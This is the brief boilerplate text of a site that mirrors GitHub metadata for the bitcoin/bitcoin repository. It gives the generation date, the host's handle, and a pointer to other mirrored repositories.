This is a metadata mirror of the GitHub repository bitcoin/bitcoin. This site is not affiliated with GitHub. Content is generated from a GitHub metadata backup.
generated: 2026-06-11 10:51 UTC

This site is hosted by @0xB10C
More mirrored repositories can be found on mirror.b10c.me